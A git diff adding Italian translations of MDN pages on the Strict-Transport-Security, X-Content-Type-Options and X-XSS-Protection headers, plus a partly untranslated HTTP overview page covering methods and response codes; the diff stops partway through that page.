+<p>Effettui l'accesso ad una rete WiFi aperta all'aereoporto e inizi a navigare nel web, visitando il sito della tua banca per controllare il tuo saldo e per pagare un paio di bollette. Sfortunatamente, l'access point che stai utilizzando è in realtà il computer di un hacker che sta intercettando le tue richieste originali in HTTP e reindirizzandoti ad un sito web clone della tua banca invece che al sito originale. Ora tutti i tuoi dati privati sono esposti all'hacker.</p>
+
+<p>Strict Transport Security risolve questo problema; a patto che tu abbia già visitato in precedenza il sito della tua banca utilizzando HTTPS e a patto che il sito web utilizzi Strict Transport Security, il tuo browser utilizzerà automaticamente HTTPS, che impedisce agli hacker di effettuare un attacco di tipo man-in-the-middle.</p>
+
+<h3 id="Come_viene_gestito_dal_browser">Come viene gestito dal browser</h3>
+
+<p>La prima volta che il tuo sito web viene contattato utilizzando HTTPS e restituisce l'header <code>Strict-Transport-Security</code>, il browser registra questa informazione, in modo che tutti i futuri tentativi di caricare il sito attraverso HTTP verranno modificati utilizzando HTTPS.</p>
+
+<p>Quando il tempo di validità specificato dall'header Strict-Transport-Security scade, il seguente tentativo di caricare il sito web via HTTP procederà normalmente invece che utilizzare automaticamente HTTPS.</p>
+
+<p>Ogni qual volta l'header<em> Strict-Transport-Security</em> viene inviato al browser, il tempo di validità sarà aggiornato per quel sito, quindi i siti possono aggioranre questa informazione per prevenire la scadenza della validità. Nel caso in cui fosse necessario disabilitare Strict Transport Security, impostare l'attributo max-age a 0 (su una connession HTTPS) porterà immediatamente alla scadenza dell'header stesso, consentendo l'accesso via HTTP.</p>
+
+<h2 id="Precaricamento_di_Strict_Transport_Security">Precaricamento di Strict Transport Security</h2>
+
+<p>Google mantiene un <a href="https://hstspreload.appspot.com/">servizio di precaricamento per HSTS</a>. Seguendo le linee guida e inviando con successo il tuo dominio, i browser non si connetteranno mai allo stesso utilizzando connessioni insicure. Sebbene il servizio sia ospitato da Google, tutti i browser hanno dichiarato l'intento di iniziare ad utilizzare (o effettivamente utilizzare) la lista di precaricamento.</p>
+
+<ul>
+ <li>Informazioni riguardanti la lista di precaricamento per HSTS in Chrome: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Informazioni riguardanti la lista di precaricamento per HSTS in Firefox: <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Tutti i presenti e futuri sottodomini saranno contattati in HTTPS per un <em>max-age</em> di 1 anno. Questo impedisce l'accesso alle pagine o ai sottodomini che possono essere forniti solo tramite HTTP.</p>
+
+<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se volessi contribuire, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull-request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/it/web/http/headers/x-content-type-options/index.html b/files/it/web/http/headers/x-content-type-options/index.html
new file mode 100644
index 0000000000..ac06e93904
--- /dev/null
+++ b/files/it/web/http/headers/x-content-type-options/index.html
@@ -0,0 +1,90 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Headers/X-Content-Type-Options
+tags:
+  - HTTP
+  - HTTP Header
+  - Reference
+  - ResponseHeader
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<p>L'header <code><strong>X-Content-Type-Options</strong></code> delle risposte HTTP è usato per indicare che il <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">tipo MIME</a> descritto dagli header di tipo {{HTTPHeader("Content-Type")}} dovrebbe venire rispettato senza effettuare modifiche. Questo consente di al client di non effettuare lo <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">sniffing del tipo MIME</a>, o, in altre parole, è un modo con cui i webmaster comunicano che "sapevano cosa stessero facendo".</p>
+
+<p>Questo header è stato introdotto da Microsoft con IE8 per consentire ai webmaster di impedire lo sniffing del tipo MIME, che avveniva comunemente, ma che poteva comportare la conversione di un tipo MIME non eseguibile in uno eseguibile. Da allora altri browser hanno iniziato a supportarlo, nonostante i loro algoritmi di sniffing siano meno aggressivi rispetto al passato.</p>
+
+<p>I tester della sicurezza dei siti solitamente si aspettano di trovare questo header.</p>
+
+<p class="blockIndicator note">Nota: <code>X-Content-Type-Options</code> causa il <a href="https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?">blocco di una richiesta se il suo valore è <code>nosniff</code></a> solo per <a href="https://fetch.spec.whatwg.org/#concept-request-destination">richieste con destinazione</a> di tipo "<code>script</code>" o "<code>style</code>". Tale header causa anche It also <a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb">l'attivazione del Cross-Origin Read Blocking (CORB)</a> per file di tipo HTML, TXT, JSON e XML ( i file SVG <code>image/svg+xml</code> sono esclusi).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo Header</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <br>
+ <dd>Blocca la richiesta, se è di tipo:
+ <ul>
+  <li>"<code>style</code>" e il tipo MIME non è <code>text/css</code>;</li>
+  <li>"<code>script</code>" e il tipo MIME non appartiene ai <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">tipi MIME JavaScript MIME.</a></li>
+ </ul>
+ </dd>
+ <dd>Abilita il Cross-Origin Read Blockingper i seguenti tipi MIME:
+ <ul>
+  <li><code>text/html</code></li>
+  <li><code>text/plain</code></li>
+  <li><code>text/json</code>, <code>application/json</code> o qualunque altro tipo avente estensione simile a  <code>*/*+json</code></li>
+  <li><code>text/xml</code>, <code>application/xml</code> o qualunque altro tipo avente estensione simile a  <code>*/*+xml</code> ( <code>image/svg+xml</code> esclusa).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tavola di compatibilità in questa pagina è generata usando dati strutturati. Se desideri contribuire allo sviluppo di tali dati visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>La <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">definizione originale</a> dell'X-Content-Type-Options di Microsoft.</li>
+ <li>Lo strumento del <a href="https://observatory.mozilla.org/">Mozilla Observatory</a> per controllare la configurazione (compreso questo header) dei siti in merito alla sicurezza</li>
+ <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigare gli attacchi di tipo MIME Confusion Attacks in Firefox</a></li>
+ <li><a href="https://fetch.spec.whatwg.org/#corb">Cross-Origin Read Blocking (CORB)</a></li>
+ <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Spiegazione del CORB nei Google Docs</a></li>
+</ul>
diff --git a/files/it/web/http/headers/x-xss-protection/index.html b/files/it/web/http/headers/x-xss-protection/index.html
new file mode 100644
index 0000000000..89ef4c0bc2
--- /dev/null
+++ b/files/it/web/http/headers/x-xss-protection/index.html
@@ -0,0 +1,90 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Headers/X-XSS-Protection
+tags:
+  - HTTP
+  - Sicurezza
+  - XSS
+  - header
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'header HTTP di risposta  <strong><code>X-XSS-Protection</code></strong> è una funzionalità di Internet Explorer, Chrome e Safari che impedisce alle pagine di caricarsi quando rilevano attacchi di tipo cross-site scripting reflected ({{Glossary("XSS")}}). Anche se queste protezioni sono largamente non necessarie nei browser moderni, quando i siti web implementano una  {{HTTPHeader("Content-Security-Policy")}} restrittiva che disabilita l'uso di JavaScript inline (<code>'unsafe-inline'</code>), possono ancora fornire protezione agli utenti di browser datati che non supportano {{Glossary("CSP")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>Disabilita il filtro XSS.</dd>
+ <dt>1</dt>
+ <dd>Ablita il filtro XSS (solitamente il valore di default dei browser). Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina web (rimuovendo il contenuto non sicuro).</dd>
+ <dt>1; mode=block</dt>
+ <dd>Abilita il filtro XSS. Piuttosto che sanitizzare la pagina web, il browser eviterà di mostrare la pagina quando un attacco viene rilevato.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Solo Chromium)</dt>
+ <dd>Abilita il filtro XSS. Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina e riporterà la violazione. Questo sistema utilizza la funzionalità della direttiva CSP {{CSP("report-uri")}} per segnalare la violazione.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Impedisce alle pagine di caricare quando viene rilevato un attacco di tipo XSS reflected:</p>
+
+<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre>
+
+<p>PHP</p>
+
+<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash">&lt;IfModule mod_headers.c&gt;
+  Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<p>Nginx</p>
+
+<pre class="brush: bash">add_header "X-XSS-Protection" "1; mode=block";</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<p>Non parte di nessuna specifica o bozza.</p>
+
+<h2 id="Compatibilità_Browser"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Compatibilità Browser</strong></span></font></h2>
+
+<p> </p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="Vedi_anche"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Vedi anche</strong></span></font></h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+  <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/it/web/http/index.html b/files/it/web/http/index.html
new file mode 100644
index 0000000000..fa9405f68a
--- /dev/null
+++ b/files/it/web/http/index.html
@@ -0,0 +1,231 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - HTTP
+  - Headers
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - Web Development
+translation_of: Web/HTTP
+---
+<p>{{ HTTPSidebar }}                                                                                                     </p>
+
+<p>L'<dfn>Hypertext Transfer Protocol (HTTP)</dfn> è un protocollo del <a class="external" href="http://en.wikipedia.org/wiki/Application_Layer" title="http://en.wikipedia.org/wiki/Application_Layer">livello di applicazione</a> per il trasferimento di ipertesti. È usato per le comunicazioni tra i web browser e i web server, <span class="tlid-translation translation"><span title="">sebbene in linea di principio possa essere utilizzato anche per altri scopi</span></span>. Segue un classico <a class="external" href="http://en.wikipedia.org/wiki/Client%E2%80%93server_model" title="http://en.wikipedia.org/wiki/Client–server_model">modello client-server</a>, con apertura di una conessione da parte del client, creazione di una richiesta e poi attesa della risposta da parte del server dopo aver ricevuto la richiesta. È anche un <a class="external" href="http://en.wikipedia.org/wiki/Stateless_protocol" title="http://en.wikipedia.org/wiki/Stateless_protocol">protocollo senza stato</a>, cioè il server non mantiene nessun tipo di dato (stato) delle richieste.</p>
+
+<p>Sebbene spesso basato su un livello TCP/IP, può essere usato su qualsiasi <a class="external" href="http://en.wikipedia.org/wiki/Transport_Layer" title="http://en.wikipedia.org/wiki/Transport_Layer">livello di trasporto</a> orientato alle connessioni.</p>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentazione</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP Header</a></dt>
+ <dd>I messaggi Header HTTP vengono utilizzati per descrivere con precisione la risorsa da recuperare o il comportamento del server o del client. Header con proprietà personalizzate possono essere aggiunti usando il prefisso 'X-'; altri sono elencati in un <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html" title="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, il cui contenuto originale è stato definito in <a class="external" href="http://tools.ietf.org/html/rfc4229" title="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA mantiene anche un <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html" title="http://www.iana.org/assignments/message-headers/prov-headers.html">registro delle nuove proposte di messaggi Header HTTP</a>.</dd>
+ <dt><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookie</a></dt>
+ <dd>Come lavorano i cookie è stato definito nel <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Quando riceve una richiesta HTTP, un server può inviare un header <code>Set-Cookie</code> con la risposta. Successivamente, il valore del cookie viene inviato insieme a ogni richiesta effettuata sullo stesso server sotto forma di un'intestazione HTTP <code>Cookie</code>. Inoltre, è possibile specificare un ritardo di scadenza. È possibile specificare anche restrizioni a un dominio e un percorso specifici.</dd>
+ <dt><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Autenticazione di accesso di base</a></dt>
+ <dd>Nel contesto di una transazione HTTP, l'autenticazione di accesso di base è un metodo per un <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.userAgent" title="HTTP user agent">HTTP user agent</a> per fornire un nome utente e una password quando si effettua una richiesta.</dd>
+ <dt><a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">Pipelining HTTP FAQ</a></dt>
+ <dd>Pipelining HTTP/1.1 FAQ</dd>
+ <dt><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">Controllo accessi HTTP (CORS)</a></dt>
+ <dd><strong>Le richieste HTTP cross-site</strong> sono richieste <a href="https://developer.mozilla.org/en/HTTP" title="en/HTTP">HTTP</a> per risorse da un <strong>dominio diverso</strong> rispetto al dominio della risorsa che effettua la richiesta.  Ad esempio, una risorsa caricata dal Dominio A (<code><span class="nowiki">http://domaina.example</span></code>) come una pagina Web HTML, effettua una richiesta per una risorsa sul Dominio B (<code><span class="nowiki">http://domainb.foo</span></code>), come un'immagine, usando l'elemento <code>img</code> (<code><span class="nowiki">http://domainb.foo/image.jpg</span></code>). Questo si verifica molto comunemente sul Web oggi: le pagine caricano un numero di risorse in modo cross-site, inclusi fogli di stile CSS, immagini e script e altre risorse.</dd>
+ <dt><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controllo del prefetching DNS</a></dt>
+ <dd>Firefox 3.5 esegue il <strong>prefetching DNS</strong>. Questa è una funzionalità con cui Firefox esegue proattivamente la risoluzione dei nomi di dominio su entrambi i link che l'utente può scegliere di seguire e gli URL per gli elementi a cui fa riferimento il documento, incluse immagini, CSS, JavaScript e così via. Questo prefetch viene eseguito in background, in modo che il DNS sia già stato risolto nel momento in cui gli elementi di riferimento sono effettivamente necessari. Ciò riduce la latenza quando, ad esempio, l'utente fa effettivamente clic su un collegamento.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Response_codes" title="/en-US/docs/HTTP/HTTP_response_codes">Codici di risposta HTTP</a></dt>
+ <dd>I codici di risposta HTTP indicano se una specifica richiesta <a href="https://developer.mozilla.org/en/HTTP" title="en/HTTP">HTTP</a> è stata completata con successo. Le risposte sono raggruppate in cinque classi: risposte informative, risposte positive, reindirizzamenti, errori del client e errori del server.</dd>
+</dl>
+
+<h2 id="A_brief_history_of_HTTP">A brief history of HTTP</h2>
+
+<p>Since its original conception, as a protocol with one single method (GET) and returning only HTML pages, the HTTP protocol went through several revisions. The first documented version was HTTP/0.9 in 1991, corresponding to the original version. Very simple, it has a rudimentary search capability via the HTML {{ HTMLElement("isindex") }} element and an extension of the URL using the '<span style="font-family: courier new;">?</span>' character.</p>
+
+<p>Then, in 1992, a version was published that became, with some minor changes, HTTP/1.0 (finalized in <a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> in May 1996). One major improvement over the previous version was the ability to transmit files of different types, like images, videos, scripts, CSS documents, and so on, instead of only HTML files: this is achieved by using <a class="external" href="http://en.wikipedia.org/wiki/Mime_types" title="http://en.wikipedia.org/wiki/Mime_types">MIME types</a> in conjunction with the <code>Content-Type:</code> header.</p>
+
+<p>In 1995, the <a class="external" href="http://www.ietf.org/" title="http://www.ietf.org/">IETF</a>  began developing a new version of HTTP, which would become HTTP/1.1. It quickly spread into wide usage, and it was officially standardized in 1997 in <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a>, with minor fixes in <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> two years later.</p>
+
+<p>HTTP/1.1 brought the ability to reuse established connections for subsequent requests, greatly improving the performance of the protocol by lowering the latency between them; this is especially useful with complex HTML documents that need to fetch several subsequent files, like images or style sheets. It also brought the <code>Host:</code> header, which allows a single server, listening on a specific port, to receive requests for several websites; this paved the way for colocating numerous websites on one single server, greatly reducing the cost of hosting.</p>
+
+<p>Since then, the HTTP protocol evolved by adding new <a href="/en/HTTP/Headers" title="en/HTTP/Headers">headers</a>, defining new behaviors without the need to fundamentally change the protocol. Unknown headers are simply ignored by servers or clients.</p>
+
+<p>HTTP/1.1 is currently being revised by the <a class="external" href="http://tools.ietf.org/wg/httpbis/" title="http://tools.ietf.org/wg/httpbis/">IETF HTTPbis Working Group</a>.</p>
+
+<ul>
+</ul>
+
+<h2 id="HTTP_request_methods">HTTP request methods</h2>
+
+<p>The request method indicates the action to be performed by the server. The HTTP/1.1 standard defines seven methods and allows other methods to be added later. Over the years, a few ones have been added in standards like <a href="/en/WebDAV" title="en/WebDAV">WebDAV</a>. The  <a class="external" href="http://tools.ietf.org/wg/httpbis/" rel="external nofollow" title="http://tools.ietf.org/wg/httpbis/">IETF HTTPbis Working Group</a> is currently working on an IANA registry to list them all. If a server receives a request method that it doesn't know, it must return a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#501" rel="internal" title="en/HTTP/HTTP response codes#501">501 Not implemented</a></span> response; if it knows the method but is configured not to answer it, it must return a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#501" rel="internal" title="en/HTTP/HTTP response codes#501">405 Method not allowed</a></span> response. Two methods are required to be supported: HEAD and GET; all others are optional.</p>
+
+<p>Two specific semantics are defined in the standard and are crucial for web developers: the <em>safety</em> property and the <em>idempotent</em> property.</p>
+
+<h3 id="Safe_methods">Safe methods</h3>
+
+<p>A <dfn>safe method</dfn> is a method that doesn't have any side-effects on the server. In other words, this property means that the method must be used only for <em>retrieval</em> of data. The safe HTTP methods defined in HTTP/1.1 are:</p>
+
+<ul>
+ <li>GET, used to retrieve information identified by the request URI. This information may be generated on the fly or the GET may be conditional if any of the {{ httpheader("If-Modified-Since") }}, {{ httpheader("If-Unmodified-Since") }}, {{ httpheader("If-Match") }}, {{ httpheader("If-None-Match") }} or {{ httpheader("If-Range") }} HTTP headers are set. In that latter case the information is only sent back if all the conditions are fulfilled.</li>
+ <li>HEAD, which is identical to GET but without the message body sent.</li>
+</ul>
+
+<div class="note"><strong>Notes: </strong>
+
+<ul>
+ <li>Any safe method is also <em>idempotent</em>.</li>
+ <li>Not having any side-effects means, for the GET method, that it <strong>must</strong> not be used to trigger an action outside the server, like an order in an e-commerce site. If a side-effect is wanted, a non-<em>idempotent</em> method should be used, like POST.</li>
+ <li>When a page is generated on the fly by a script, the script engine may calculate the page as if it was requested by a GET and then strip the data block. This does not cause problem as long as the GET as implemented in the script is <em>safe</em>, but if it has any side-effects (like triggering an order on an e-commerce site), the HEAD method will trigger it too. It is up to the web developer to ensure that both the GET and HEAD method are safely implemented.</li>
+</ul>
+</div>
+
+<h3 id="Idempotent_methods">Idempotent methods</h3>
+
+<p>An <dfn>idempotent method</dfn> is a method such that the side-effects on the server of several identical requests with the method are the same as the side-effects of one single request.</p>
+
+<ul>
+ <li>HEAD and GET, like any safe method, are also idempotent, as a safe method doesn't have side-effects on the server.</li>
+ <li>PUT is the way to upload a new resource on the server. If the resource already exists and is different, it is replaced; if it doesn't exist, it is created.</li>
+ <li>DELETE removes a resource from the server.</li>
+</ul>
+
+<h3 id="Other_methods">Other methods</h3>
+
+<ul>
+ <li>POST is the way to trigger an action on the server. It has side-effects and can be used to trigger an order, to modify a database, to post a message in a forum, and so on.</li>
+ <li>OPTIONS is a request for communication options available on the chain between the client and the server (through eventual proxies); this method is typically sent before any <a href="/En/HTTP_access_control#Preflighted_requests" title="en/HTTP access control#Preflighted requests">preflighted cross-origin request</a>, in order to know whether it is safe to do it.
+  <div class="note"><strong>Note:</strong> <a href="/En/HTTP_access_control#Preflighted_requests" title="en/HTTP access control#Preflighted requests">Preflighted cross-origin requests</a> cannot be done on servers which don't allow or support the OPTIONS method.</div>
+ </li>
+ <li>TRACE is a kind of ping between the client and the server (through eventual proxies).</li>
+</ul>
+
+<p>Many more methods, such as PROPFIND or PATCH are defined in other standards-track RFCs of the IETF, like WebDAV.</p>
+
+<p>The CONNECT method is defined in <a class="external" href="http://tools.ietf.org/html/rfc2817" title="http://tools.ietf.org/html/rfc2817">RFC 2817</a>.</p>
+
+<h3 id="HTTP_Requests_Methods_in_HTML_Forms">HTTP Requests Methods in HTML Forms</h3>
+
+<p>In HTML, different HTTP request methods can be specified in the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element, but also to the {{ htmlattrxref("formmethod", "input") }} of the {{ HTMLElement("input") }} and {{ HTMLElement("button") }} elements. But not all HTTP methods can be used with these attributes; only GET and POST method are allowed by the HTML specification. See <a href="http://programmers.stackexchange.com/a/211790">this StackExchange answer why other HTTP request methods are not allowed by the HTML specification</a>.</p>
+
+<div class="note"><strong>Note</strong>: The choice of a GET or POST method for HTML forms is not neutral. Because the GET method is a <a href="/en/HTTP#Safe_methods" title="https://developer.mozilla.org/en/HTTP#Safe_methods">safe method</a>, it should be used only in cases where no side-effect is expected; e.g., it shouldn't be used to transmit an order, as this order is a side-effect. In all cases where such side-effects are expected, the POST method should be used.</div>
+
+<h2 id="HTTP_response_codes">HTTP response codes</h2>
+
+<p>When answering a client request, the server sends back a three-digit number indicating whether the request was successfully processed. These codes can be grouped in five categories:</p>
+
+<ul>
+ <li><dfn>Informational responses</dfn> (of the form <code>1xx</code>) are provisional responses. Most of the time neither the end user, nor the web developer or webmaster should have to bother with these. The most common is the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#100" title="en/HTTP/HTTP response codes#100">100 Continue</a></span> response, indicating that the client should continue to send its request.
+
+  <div class="note"><strong>Note:</strong> No information response codes were defined in the HTTP/1.0, and therefore they must not be sent back when this version of the protocol is used.</div>
+ </li>
+ <li><dfn>Success responses</dfn> (of the form <code>2xx</code>) are for successfully processed requests. The <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#200" title="en/HTTP/HTTP response codes#200">200 OK</a></span> response is by far the most common of these responses, but the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#206" title="en/HTTP/HTTP response codes#206">206 Partial Content</a></span> is also often seen when fetching a file or some media data like video or audio.</li>
+ <li><dfn>Redirection responses</dfn> (of the form <code>3xx</code>) indicate that the resource that the client requested has moved and the server is not able to serve it directly. Most of these responses contain some location information telling where to find the requested resource; user-agents often then retrieve it without further user interaction. The most common responses of this type are <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span>, indicating that the URI given is no longer valid and has been moved to another place, and <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#302" title="en/HTTP/HTTP response codes#302">302 Found</a></span> which indicates that the resource has been <em>temporarily</em> moved to another place.
+  <div class="note"><strong>Note:</strong> For webmasters, it is recommended to set up a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span> redirection when moving pages to another URI, during a site reorganization for example. That allows users following links to still reach the resource and it also teaches search engines and other services the new location of the resource, so that they can transfer their metadata to it. It is also important to add adequate cache headers to the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span> response so that this information is cached by the client and prevents it from making unnecessary requests to the original URI prior to fetching the resource itself.</div>
+ </li>
+ <li><dfn>Client error responses</dfn> (of the form <code>4xx</code>) indicate that the request sent by the client is either invalid, incomplete, or doesn't have enough rights to be performed. The most common such response is <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#404" title="en/HTTP/HTTP response codes#404">404 Not Found</a></span> which is sent back when the URI requested doesn't exist, but a few others are often presented to the end user, like <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#400" title="en/HTTP/HTTP response codes#400">400 Bad Request</a></span> sent when the request isn't a valid HTTP request (as this shouldn't happen but may indicate a bug into the user agent or, less likely, the server) or <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#403" title="en/HTTP/HTTP response codes#403">403 Forbidden</a></span>, sent when the client request a resource that does exist but isn't allowed to be transmitted (like a directory content).</li>
+ <li><dfn>Server error responses</dfn> (of the form <code>5xx</code>) indicate that the server had a problem handling the valid client request. The two most common such responses are <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#500" title="en/HTTP/HTTP response codes#500">500 Internal Server Error</a></span>, a generic error code indicating a bug in the server or <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#503" title="en/HTTP/HTTP response codes#503">503 Service Unavailable</a></span> indicating that the server cannot process the request due to a temporary problem, like a disabled service for maintenance purposes or the non-availability of a database.</li>
+</ul>
+
+<p>A web developer shouldn't encounter many other response codes, but people building requests using the <code><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHTTPRequest</a></code> function may hit <a href="/en/HTTP/HTTP_response_codes" title="en/HTTP/HTTP response codes">less usual response codes</a>.</p>
+
+<h3 id="More_on_redirection_responses">More on redirection responses</h3>
+
